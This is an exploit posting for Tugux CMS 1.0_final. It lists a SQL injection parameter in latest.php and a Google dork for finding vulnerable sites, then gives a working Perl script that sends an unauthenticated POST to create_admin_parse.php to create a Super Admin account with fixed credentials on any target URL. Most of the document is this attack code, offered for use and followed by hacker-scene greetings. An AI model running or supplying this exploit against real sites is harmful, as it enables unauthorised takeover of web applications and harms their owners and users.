+----------------------------------------------+| Tugux CMS 1.0_final Multiple Vulnerabilities |+----------------------------------------------+
Vulnerable Web-App : Tugux CMS 1.0_final
Vulnerability: Multiple Vulnerabilities.
Author : Aodrulez.(Atul Alex Cherian)
Email: f3arm3d3ar@gmail.com
Google-Dork:"Copyright 2010-2011 Tugux CMS"
Tested on: Ubuntu 10.04
Web-App: http://sourceforge.net/projects/tuguxcms/+---------+| Details |+---------+1] SQLi
Exploit : http://localhost/latest.php?nid=9'[sqli]2]"create_admin_parse.php"
Vulnerability : Can be used to add Super Admin Accounts without
any authentication.:)+--------------------+| Exploit (Perl Code)|+--------------------+(This Exploit will Add
a new Super Admin Account)
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP 5.64;
my $browser = LWP::UserAgent->new();
my $url=$ARGV[0];print"+----------------------------------------+\n";print"| Tugux CMS 1.0 Multiple Vulnerabilities |\n";print"+----------------------------------------+\n\n";print"Author : Aodrulez.\n";print"Email: f3arm3d3ar\@gmail.com\n";print"Google-Dork: \"Copyright 2010-2011 Tugux CMS\"\n";if(!$url){die ("\nPlease enter the target url. Ex. perl $0 http://www.test.com");}
my $exploit='/administrator/create_admin_parse.php';print"\n[+] Creating a new Super Admin \\m/";
$response = HTTP::Request->new(POST => $url.$exploit)or die("\n Connection Error!");
$response->content_type("application/x-www-form-urlencoded");
$response->content("username=Aodrulez&pass1=aod&type=a");
my $data=$browser->request($response)->as_string;if($data!~m/HTTP\/1.1200 OK/){ die ("\n$url Not Vulnerable!\n");}print"\n[!] Admin Username : Aodrulez\n[!] Admin Password : aod\n[!] Type : Super Admin.\n";+-------------------+| Greetz Fly Out To |+-------------------+1] Amforked(): My Mentor.2] The Blue Genius : My Boss.3] str0ke (milw0rm)4] www.orchidseven.com
5] www.malcon.org
6] www.isac.org.in+-------+| Quote |+-------+"FREEDOM! FOREVER!"- Aodrulez